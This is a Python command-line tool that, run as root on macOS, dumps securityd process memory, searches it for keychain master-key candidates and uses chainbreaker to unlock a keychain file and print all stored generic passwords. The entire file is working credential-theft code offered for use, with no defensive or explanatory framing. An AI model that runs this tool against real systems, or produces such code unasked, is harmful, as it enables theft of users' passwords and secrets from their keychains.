import lief
import chainbreaker
import subprocess
from typing import List, Tuple
import os
import typer


def find_securityd_pid() -> int:
    return int(subprocess.run(["pgrep", "-f", "/usr/sbin/securityd"], capture_output=True, text=True).stdout.strip()) 


def dump_securityd_memory(gcore_path: str, securityd_pid: int):
    subprocess.run(["gcore", "-d", "-s", "-v", "-o", gcore_path, str(securityd_pid)])


def find_malloc_small_regions(securityd_pid: int) -> List[Tuple[int, int]]:
    output = subprocess.run(["vmmap", "--wide", str(securityd_pid)], capture_output=True, text=True).stdout
    regions = []
    for line in output.split("\n"):
        if line.startswith("MALLOC_SMALL"):
            line = line.split()[1]
            if "-" not in line:
                continue
            start, end = line.split("-")
            regions.append((int(f"0x{start}", 16), int(f"0x{end}", 16)))
    return regions


def get_malloc_small_region_data(gcore_path: str, region: Tuple[int, int]) -> Tuple[memoryview, int]:
    binary = lief.parse(gcore_path)
    for segment in binary.segments:
        if segment.virtual_address == region[0] and segment.virtual_address + segment.virtual_size == region[1]:
            return segment.content, segment.virtual_address
    raise Exception("Region not found")


def find_master_key_candidates(gcore_path: str) -> List[str]:
    securityd_pid = find_securityd_pid()
    dump_securityd_memory(gcore_path, securityd_pid)
    regions = find_malloc_small_regions(securityd_pid)
    candidates = []
    
    for region in regions:
        data, vaddr = get_malloc_small_region_data(gcore_path, region)
        
        for i in range(0, len(data)-16, 8):
            if int.from_bytes(data[i:i+8], "little") == 0x18:
                ptr = int.from_bytes(data[i+8:i+16], "little")
                if region[0] <= ptr <= region[1]:
                    offset = ptr - vaddr
                    master_key = data[offset:offset+0x18]
                    master_key_str = ''.join(f'{k:02x}' for k in master_key)
                    print(f"[+] Found master key candidate {master_key_str} @ {hex(ptr)}")
                    candidates.append(master_key_str)
    return candidates


def verify_master_key(keychain_path: str, master_key: bytes) -> bool:
    try:
        cb = chainbreaker.Chainbreaker(keychain_path, unlock_key=master_key)
        if not cb.db_key:
            print("[-] Invalid master key, skipping...")
            return False
        print("[+] Valid master key, dumping passwords...")
        for generic_password in cb.dump_generic_passwords():
            print(generic_password)
        return True
    except ValueError:
        print("[-] Invalid master key, skipping...")
        return False


def is_root() -> bool:
    return os.geteuid() == 0


def main(
    core_path: str = typer.Option(..., "-c", "--core", help="Path to core file"),
    keychain_path: str = typer.Option(..., "-k", "--keychain", help="Path to keychain file")
):
    if not is_root():
        print("This program must be run as root")
        return
    candidate_master_keys = find_master_key_candidates(core_path)
    print("[+] Removing duplicates...")
    candidate_master_keys = set(candidate_master_keys)
    for candidate_master_key in candidate_master_keys:
        verify_master_key(keychain_path, candidate_master_key)


if __name__ == "__main__":
    typer.run(main)
